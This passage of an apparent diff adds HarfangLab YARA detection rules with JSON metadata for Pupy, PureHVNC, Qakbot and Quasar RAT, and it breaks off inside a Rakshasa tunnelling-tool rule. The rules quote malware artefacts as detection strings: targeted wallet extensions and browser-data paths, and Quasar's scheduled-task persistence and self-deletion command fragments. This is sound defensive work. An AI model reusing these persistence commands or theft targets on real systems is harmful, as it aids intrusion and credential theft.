       confidence = \"strong\"\n\n    strings:\n        $canary = \"bf33298a48b9ce43b1e70f64eacdcc2fb30b9f95c3ec7cde4efa23ed3c785827\"\n\n        $s1 = \"[INJECT] inject_via_apcthread: Can't do x64->x86 APC injection yet. GetLastError()=%d\"\n        $s2 = \"[INJECT] inject_via_apcthread: Invalid target architecture GetLastError()=%d\"\n        $s3 = \"[INJECT] inject_via_apcthread: LoadLibraryA failed GetLastError()=%d\"\n        $s4 = \"[INJECT] inject_via_apcthread: GetProcAddress NtQueueApcThread failed GetLastError()=%d\"\n        $s5 = \"[INJECT] inject_via_apcthread: CreateToolhelp32Snapshot failed GetLastError()=%d\"\n        $s6 = \"[INJECT] inject_via_apcthread: Thread32First failed GetLastError()=%d\"\n        $s7 = \"[INJECT] inject_via_apcthread: VirtualAllocEx failed GetLastError()=%d\"\n        $s8 = \"[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcStub failed GetLastError()=%d\"\n        $s9 = \"[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcContext failed GetLastError()=%d\"\n        $s10 = \"[INJECT] inject_via_remotethread_wow64: GetVersionEx failed GetLastError()=%d\"\n        $s12 = \"[INJECT] inject_via_remotethread_wow64: VirtualAlloc pExecuteX64 failed GetLastError()=%d\"\n        $s13 = \"[INJECT] inject_via_remotethread_wow64: VirtualAlloc pX64function failed GetLastError()=%d\"\n        $s14 = \"[INJECT] inject_via_remotethread_wow64: pExecuteX64( pX64function, ctx ) failed GetLastError()=%d\"\n        $s15 = \"[INJECT] inject_via_remotethread_wow64: ctx->t.hThread is NULL GetLastError()=%d\"\n        $s16 = \"[INJECT] inject_via_remotethread: CreateRemoteThread failed\"\n        $s17 = \"[INJECT] inject_via_remotethread: ResumeThread failed\"\n        $s18 = \"[INJECT] inject_dll.  No Dll buffer supplied.\"\n        $s19 = \"[INJECT] inject_dll. GetReflectiveLoaderOffset failed.\"\n        $s20 = \"[INJECT] inject_dll. OpenProcess failed.\"\n        $s21 = \"[INJECT] inject_dll. VirtualAllocEx 1 failed GetLastError()=%d\"\n        $s22 = \"[INJECT] inject_dll. VirtualAllocEx 2 failed\"\n        $s23 = \"[INJECT] inject_dll. WriteProcessMemory 1 failed GetLastError()=%d\"\n        $s24 = \"[INJECT] inject_dll. WriteProcessMemory 2 failed\"\n        $s25 = \"[INJECT] inject_dll. VirtualAllocEx failed GetLastError()=%d\"\n        $s26 = \"[INJECT] inject_dll. WriteProcessMemory 2 failed GetLastError()=%d\"\n        $s27 = \"[INJECT] inject_dll. VirtualProtectEx failed GetLastError()=%d\"\n        $s28 = \"[INJECT] inject_dll. inject_via_apcthread failed GetLastError()=%d\"\n\n    condition:\n        2 of them and not $canary\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "pupy_memory_dll_generic"
+  ],
+  "rule_creation_date": "2021-02-05",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Pupy"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1055.004",
+    "attack.t1059.001",
+    "attack.t1055.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-pupy_reflective_loader_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.580886Z",
+  "creation_date": "2026-03-23T11:46:25.580888Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.580894Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0192/\nhttps://github.com/n1nj4sec/pupy"
+  ],
+  "name": "pupy_reflective_loader.yar",
+  "content": "rule pupy_reflective_loader {\n    meta:\n        title = \"Reflective Pupy Loader\"\n        id = \"166b0ddc-dda0-48dd-b555-7ea708a4857b\"\n        description = \"Detects Pupy's reflective loader.\\nPupy is a cross-platform RAT and post-exploitation tool that uses reflective injection to load malicious payloads in memory. This rule identifies the reflective loader component which enables the execution of Python-based payloads without writing them to disk.\\nIt is recommended to monitor process creation and check for signs of reflective code injection in suspicious processes.\"\n        references = \"https://attack.mitre.org/software/S0192/\\nhttps://github.com/n1nj4sec/pupy\"\n        date = \"2021-05-05\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0192;attack.t1055.001\"\n        classification = \"Windows.Framework.Pupy\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // https://github.com/n1nj4sec/pupy/blob/f9083ef9cce073de41ca1e5926119463c3750550/client/sources/LoadLibraryR.c#L82\n        /*\n        ** DWORD dwReflectiveLoaderSymHashes[] = {\n        **     symhash(REFLECTIVE_LOADER_SYMNAME),\n        **     0x994d06f3, // ReflectiveLoader\n        **     0x6249c9c2, // Loader\n        **     0xda5392de  // RLEp\n        ** };\n        */\n        $magic_values = {\n                                  //            x86_64               |         x86_32\n                                  // --------------------------------|---------------------------\n            F3 06 4D 99           // mov [rsp+88h+var_xx], 994D06F3h | mov [ebp-0x2c],0x994d06f3\n            [3-4]\n            C2 C9 49 62           // mov [rsp+88h+var_xx], 6249C9C2h | mov [ebp-0x28],0x6249c9c2\n            [3-4]\n            DE 92 53 DA           // mov [rsp+88h+var_xx], DA5392DEh | mov [ebp-0x24],0xda5392de\n        }\n\n    condition:\n        $magic_values\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "pupy_reflective_loader"
+  ],
+  "rule_creation_date": "2021-05-05",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Pupy"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1055.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-purehvnc_rat_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.563052Z",
+  "creation_date": "2026-03-23T11:46:25.563055Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.563065Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.fortinet.com/blog/threat-research/purehvnc-deployed-via-python-multi-stage-loader\nhttps://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/\nhttps://www.morphisec.com/blog/new-noodlophile-stealer-fake-ai-video-generation-platforms/\nhttps://www.morphisec.com/blog/new-malware-variant-identified-resolverrat-enters-the-maze/\nhttps://www.netresec.com/?page=Blog&month=2025-08&post=PureRAT-ResolverRAT-PureHVNC"
+  ],
+  "name": "purehvnc_rat.yar",
+  "content": "rule purehvnc_rat {\n    meta:\n        title = \"PureHVNC RAT\"\n        id = \"51c5b6e7-726d-48a3-8b46-04c837a27283\"\n        description = \"Detects PureHVNC, also know as PureRAT and ResolverRAT.\\nPureHVNC is a sophisticated Remote Access Trojan (RAT) sold as a Malware-as-a-Service. It generally used to gain hidden remote control of Windows systems while targeting crypto-wallets, password managers and 2FA apps.\\nIt is recommended to investigate the context around this alert to look for malicious actions and to investigate for any suspicious network connections.\"\n        references = \"https://www.fortinet.com/blog/threat-research/purehvnc-deployed-via-python-multi-stage-loader\\nhttps://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/\\nhttps://www.morphisec.com/blog/new-noodlophile-stealer-fake-ai-video-generation-platforms/\\nhttps://www.morphisec.com/blog/new-malware-variant-identified-resolverrat-enters-the-maze/\\nhttps://www.netresec.com/?page=Blog&month=2025-08&post=PureRAT-ResolverRAT-PureHVNC\"\n        date = \"2025-11-07\"\n        modified = \"2025-11-12\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.privilege_escalation;attack.t1055;attack.execution;attack.t1059.006;attack.collection;attack.credential_access;attack.t1056.001;attack.exfiltration;attack.t1041\"\n        classification = \"Windows.Trojan.PureHVNC\"\n        context = \"process,memory,thread\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 8cc58301bbe1f6129fcec90fc0e710654c0d6213c7edc9bae71d5c1e7a122126\n\n        $certificate = \"MIIE3jCCAsagAwIBAgIQAMTLIwGVeCI1OftMRp4RvTANBgkqhkiG9w0BAQ0FADAQMQ4wDAYDVQQDDAVDY3Z2cDAgFw0yNTA3MDMxNjU2NTlaGA85OTk5MTIzMTIzNTk1OVowEDEOMAwGA1UEAwwFQ2N2dnAwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCYn/4KHohvzJWh6BH9QN4E3NdrL8gm91F2RePSrPXPyBNVsJ4qDIf0pj6MEmfwVtFQwRgkPzJI98zvthX9FyyKe8fqlYfyK/XnX4a2wFAeFVIRCSHSWcAz4iModa8LQeqKwBCrNKOITIa52OuychN2j62n1Bf16K836Abyss3oNT+DE/ngUKwvWmPAnW9emQpWKaHveT8kVApa61Ek0HtDuW1KeDD5P+yZf9X3sXfn3THJSAS2hjO3LhUTG6si7yYyuQX7DId+yVQ7DuzbM2GZThHF47MSmZHAhiu5G/fBzp/YMZSQA0qyZpc5Am636dTKoTmLGFtWJlDQBQ//Bn5C6fuD4k8x0PvJqhTWIcevWzERML5/fYYC3FO/rbjlXcK0qny08GGtkB8Opky6GtGZ2TDV9Et0M8e9qnwIjrGPsg+vTI2+eEHpXBExF1lMplomYA3CpWOlMsD2ldUOrqbuejCOaXxJPcWa1PVhEWo/31d58+eZGvQkEQa6J8ef8u8cCLRQ1wcq3cnjP9F24ofjYli+/HxLLv3NiSMPqQwk9beoRy9Q+kMcIHUzZT99udL9xf6jZWGIkp7+XuIIRC6KlVqRw5nuaDHFiQU3QqGTgtCw2ytXkWYxZkIE9Iovo+sOE4h0TpMEwH7I1I3r3h40velQPlN3fvtuPL67o68VzQIDAQABozIwMDAdBgNVHQ4EFgQU8l0AsdVlgu++vqKWXyQ3nFMy8iEwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOCAgEAU7N1Z1ERS2oLJdxqIPJUYfzJMu29ni59DT2jMdSJLEYivAcxeEA9lzhZHZcWGptkOH5EsGJs1ze5Rzgyc3GV2MyQ78FEcqwh5VQ503EZosjiRB7yMjRhZi3u5fx+uZxQpbQ+sQvPpgBFUrw4qQ6nonrczWrcoCvFR2kHfKeVq4EuBSktKrDNpmsH2BQPifLRei+QTgzxbR7C7MR7391xNYN3/tsvdXBfV3nvOkLDzJWBFVeDfqgLR+dDRn7uDWwPzWfcFUyqvn3fhS4+hpYCbJP1+1RnnDu0m3ocPXWGPRCMJp75BYsULMCM7/9p7d7yXWnbQ6aqE3KWt3xvMi1COtu6H6tadw3Y1Fs8ryCqM93zAEAqExck8izcf/AkQ4KV5WpNxXRF7/lisQvbxe3csMUGgU7V292Bdc4QS5KiVubN1B4u5xPmYIxroPsR+GMA8Q928zSsntRuq2kre9uwNrgIlk1Z7kVRaT17kafRquGBt2AAEEOZYTeaEOEDk86PP9gphbNpDSwz7NadEK7W/g2wJcjPph3CSd4CV7GnFu7jY8hnKp0clRIRk5VyHzeM6T7Dlj7QYq/F9GYlfDerqkr7PAGQBBuEknRGw5q9PXedkzZIQ84WdhYtATIgEiRol08ghbc9j2AW89CwmnxYrVBHdvV2P/6Z5qaRWZOJZAo=\"\n\n        $strings1 = \"SELECT * FROM AntiVirusProduct\" wide fullword\n        $strings2 = \"SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')\" wide fullword\n        $strings3 = \"{0} {1}Bit\" wide fullword\n        $strings4 = \"{0}d {1}h {2}m {3}s\" wide fullword\n\n        $extensions_id1 = \"ibnejdfjmmkpcnlpebklmnkoeoihofec\" wide fullword\n        $extensions_id2 = \"fhbohimaelbohpjbbldcngcnapndodjp\" wide fullword\n        $extensions_id3 = \"dkdedlpgdmmkkfjabffeganieamfklkm\" wide fullword\n        $extensions_id4 = \"bfnaelmomeimhlpmgjnjophhpkkoljpa\" wide fullword\n        $extensions_id5 = \"bocpokimicclpaiekenaeelehdjllofo\" wide fullword\n\n        $extensions_name1 = \"TronLink\" wide fullword\n        $extensions_name2 = \"Jaxx Liberty\" wide fullword\n        $extensions_name3 = \"Nifty Wallet\" wide fullword\n        $extensions_name4 = \"Coin98 Wallet\" wide fullword\n        $extensions_name5 = \"Liquality Wallet\" wide fullword\n\n        $applications1 = \"MapleStudio\\\\ChromePlus\\\\User Data\\\\\" wide fullword\n        $applications2 = \"Fenrir Inc\\\\Sleipnir5\\\\setting\\\\modules\\\\ChromiumViewer\\\\\" wide fullword\n        $applications3 = \"CatalinaGroup\\\\Citrio\\\\User Data\\\\\" wide fullword\n        $applications4 = \"Sputnik\\\\Sputnik\\\\User Data\\\\\" wide fullword\n        $applications5 = \"CocCoc\\\\Browser\\\\User Data\\\\\" wide fullword\n\n    condition:\n        $certificate or (\n            all of ($strings*) and\n            3 of ($extensions_id*) and\n            3 of ($extensions_name*) and\n            3 of ($applications*)\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "purehvnc_rat"
+  ],
+  "rule_creation_date": "2025-11-07",
+  "rule_modified_date": "2025-11-12",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.PureHVNC"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.credential_access",
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.exfiltration",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1056.001",
+    "attack.t1059.006",
+    "attack.t1041",
+    "attack.t1055"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-qakbot_unpacked_dll_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.589034Z",
+  "creation_date": "2026-03-23T11:46:25.589037Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.589042Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.qakbot\nhttps://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern\nhttps://attack.mitre.org/techniques/T1071/001/"
+  ],
+  "name": "qakbot_unpacked_dll.yar",
+  "content": "rule qakbot_unpacked_dll {\n    meta:\n        title = \"Qakbot Unpacked DLL\"\n        id = \"aa47c35c-1a06-4003-a010-b40ceedf2e51\"\n        description = \"Detects Qakbot, a modular information stealer also known as QBot or Pinkslipbot.\\nThis rule identifies the presence of an unpacked Qakbot DLL, which is commonly used to steal data from infected systems and act as a loader for additional payloads via C2 server communication.\\nIt is recommended to isolate the affected system and analyze network traffic for signs of command and control activity.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.qakbot\\nhttps://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern\\nhttps://attack.mitre.org/techniques/T1071/001/\"\n        date = \"2022-11-16\"\n        modified = \"2026-02-09\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1071.001\"\n        classification = \"Windows.Malware.Qakbot\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 8b08c031d365a0b4d032c6e51bf773655e15795fe3eabcd3fa6487ffe9f3d6b3\n\n        $s1 = \"%u&%s&%u\" fullword ascii\n        $s2 = \"%u.%u.%u.%u.%u.%u.%04x\" fullword ascii\n\n        $check_system_language = {\n            6A 23                         // push    23h ; '#'\n            66 89 45 E8                   // mov     [ebp+var_18], ax\n            33 F6                         // xor     esi, esi\n            58                            // pop     eax\n            6A 3F                         // push    3Fh ; '?'\n            66 89 45 EA                   // mov     [ebp+var_16], ax\n            58                            // pop     eax\n            6A 2C                         // push    2Ch ; ','\n            66 89 45 EC                   // mov     [ebp+var_14], ax\n            58                            // pop     eax\n            6A 2B                         // push    2Bh ; '+'\n            66 89 45 EE                   // mov     [ebp+var_12], ax\n            58                            // pop     eax\n            6A 37                         // push    37h ; '7'\n            66 89 45 F0                   // mov     [ebp+var_10], ax\n            58                            // pop     eax\n            6A 40                         // push    40h ; '@'\n            59                            // pop     ecx\n            6A 43                         // push    43h ; 'C'\n            66 89 45 F2                   // mov     [ebp+var_E], ax\n            58                            // pop     eax\n            6A 28                         // push    28h ; '('\n            66 89 45 F6                   // mov     [ebp+var_A], ax\n            58                            // pop     eax\n            6A 42                         // push    42h ; 'B'\n            66 89 45 F8                   // mov     [ebp+var_8], ax\n            58                            // pop     eax\n            6A 22                         // push    22h ; '\"'\n            66 89 45 FA                   // mov     [ebp+var_6], ax\n            58                            // pop     eax\n            6A 1A                         // push    1Ah\n        }\n\n        $random_alphanumeric_strings = {\n            33 DB                         // xor     ebx, ebx\n            59                            // pop     ecx\n            59                            // pop     ecx\n            6A 06                         // push    6\n            5E                            // pop     esi\n\n                                    // loc_4A0C8C2:\n            FF 75 FC                      // push    [ebp+var_4]\n            E8 ?? ?? ?? ??                // call    sub_4A0A5D0\n            48                            // dec     eax\n            50                            // push    eax\n            8D 85 30 F6 FF FF             // lea     eax, [ebp+var_9D0]\n            6A 00                         // push    0\n            50                            // push    eax\n            E8 ?? ?? ?? ??                // call    sub_4A136D5\n            8B 4D FC                      // mov     ecx, [ebp+var_4]\n            83 C4 10                      // add     esp, 10h\n            8A 04 08                      // mov     al, [eax+ecx]\n            88 04 3B                      // mov     [ebx+edi], al\n            43                            // inc     ebx\n            3B DE                         // cmp     ebx, esi\n            7C D7                         // jl      short loc_4A0C8C2\n        }\n\n    condition:\n        all of ($s*) and (\n            $check_system_language or\n            $random_alphanumeric_strings\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "qakbot_unpacked_dll"
+  ],
+  "rule_creation_date": "2022-11-16",
+  "rule_modified_date": "2026-02-09",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.Qakbot"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-quasar_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.573491Z",
+  "creation_date": "2026-03-23T11:46:25.573493Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.573499Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/quasar/Quasar\nhttps://blog.qualys.com/vulnerabilities-threat-research/2022/07/29/new-qualys-research-report-evolution-of-quasar-rat\nhttps://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/QuasarRAT.A\nhttps://attack.mitre.org/software/S0262/"
+  ],
+  "name": "quasar.yar",
+  "content": "rule quasar_rat {\n    meta:\n        title = \"Quasar RAT\"\n        id = \"ce220ba0-cccd-4dc2-9377-7beef54e7bf2\"\n        description = \"Detects Quasar RAT, an open-source remote access tool that has been publicly available on GitHub since at least 2014.\\nQuasar is a remote access tool (RAT) that has been increasingly used by malicious actors. It provides various malicious capabilities such as webcam recording, keylogging, UAC bypasses, and extraction and decryption of browser secrets. This rule identifies common patterns associated with the RAT's client-side activities.\\nIt is recommended to verify if the presence of this tool is legitimate.\"\n        references = \"https://github.com/quasar/Quasar\\nhttps://blog.qualys.com/vulnerabilities-threat-research/2022/07/29/new-qualys-research-report-evolution-of-quasar-rat\\nhttps://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/QuasarRAT.A\\nhttps://attack.mitre.org/software/S0262/\"\n        date = \"2024-10-31\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1056.001;attack.privilege_escalation;attack.t1548\"\n        classification = \"Windows.Trojan.QuasarRAT\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 5c76b09c0f287820cc34b5f06a8fd627bface66474241daa4b5d86273cf3102d\n        // af48acd7ce4572f4b9f954e7a2dc331d8e885f7f677e61dc03f4014ebc01577c\n        // b34efa5d36e786823d595617c3051c8e8cf7cbea2379055e303e12de9771beab\n        // 43cb301add7569dfe23cfbd11affb0e413969ced7a47fc4dfc6d9f452baf9e66\n\n        $module_regseeker1 = \"Could not open root registry keys, you may not have the needed permission\" wide fullword\n        $module_regseeker2 = \"Invalid rootkey, could not be found.\" wide fullword\n\n        $module_regeditor1 = \"Cannot create key: Error writing to the registry\" wide fullword\n        $module_regeditor2 = \"Cannot delete key: Error writing to the registry\" wide fullword\n        $module_regeditor3 = \"Cannot rename key: Error writing to the registry\" wide fullword\n        $module_regeditor4 = \"Cannot create value: Error writing to the registry\" wide fullword\n        $module_regeditor5 = \"Cannot delete value: Error writing to the registry\" wide fullword\n        $module_regeditor6 = \"Cannot rename value: Error writing to the registry\" wide fullword\n        $module_regeditor7 = \"You do not have write access to registry: \" wide fullword\n        $module_regeditor8 = \", try running client as administrator\" wide fullword\n\n        $module_startup1 = \"/create /tn \\\"\" wide fullword\n        $module_startup2 = \"\\\" /sc ONLOGON /tr \\\"\" wide fullword\n        $module_startup3 = \"/rl HIGHEST /f\" wide fullword\n        $module_startup4 = \"Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\" wide fullword\n        $module_startup5 = \"schtasks\" wide fullword\n\n        // User Agent used in Browser Module\n        $module_agent_website = \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A\" wide fullword\n        // User Agent used in Geolocation Module\n        $module_agent_geoloc  = \"Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0\" wide fullword\n\n        $module_uninstall1 = \"@echo off\" wide fullword\n        $module_uninstall2 = \"chcp 65001\" wide fullword\n        $module_uninstall3 = \"echo DONT CLOSE THIS WINDOW!\" wide fullword\n        $module_uninstall4 = \"ping -n 10 localhost > nul\" wide fullword\n        $module_uninstall5 = \"del /a /q /f \" wide fullword\n\n    condition:\n        all of ($module_regseeker*) or\n        all of ($module_regeditor*) or\n        all of ($module_uninstall*) or\n        all of ($module_startup*)   or\n        all of ($module_agent*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "quasar_rat"
+  ],
+  "rule_creation_date": "2024-10-31",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.QuasarRAT"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1056.001",
+    "attack.t1548"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-rakshasa_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.564961Z",
+  "creation_date": "2026-03-23T11:46:25.564963Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.564969Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Mob2003/rakshasa"
+  ],
+  "name": "rakshasa.yar",
+  "content": "rule rakshasa {\n    meta:\n        title = \"Rakshasa Tunneling Tool\"\n        id = \"81ef3193-7cca-421e-9742-a22ee24fa566\"\n        description = \"Detects Rakshasa, a TCP/UDP tunnel tool used for establishing covert communication channels.\\nRakshasa is a tool designed to create encrypted tunnels for command and control or data exfiltration purposes.\\nIt is often used by attackers during the initial access or lateral movement phases of an attack to pivot within a compromised environment.\\nThis rule identifies instances of Rakshasa based on its unique build signatures and binary object references.\\nIt is recommended to investigate the context around the usage of this tool to determine whether its presence on the host is legitimate.\"\n        references = \"https://github.com/Mob2003/rakshasa\"\n        date = \"2024-01-31\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1071.001;attack.t1572\"\n        classification = \"Tool.Rakshasa\"\n        context = \"process,memory,thread,file.pe,file.elf,file.macho\"\n        os = \"Windows,Linux,MacOS\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // c52c546afd23b92e2200e9c0ffc05d6079e4da831822be13f3289d3d85013ba4\n        // 52431cea9164ee715f8c90558e9ff77c061ef3acbeaef3d5d3c69ccf62e8d7e6\n        // ccfa30a40445d5237aaee1e015ecfcd9bdbe7665a6dc2736b28e5ebf07ec4597\n        // 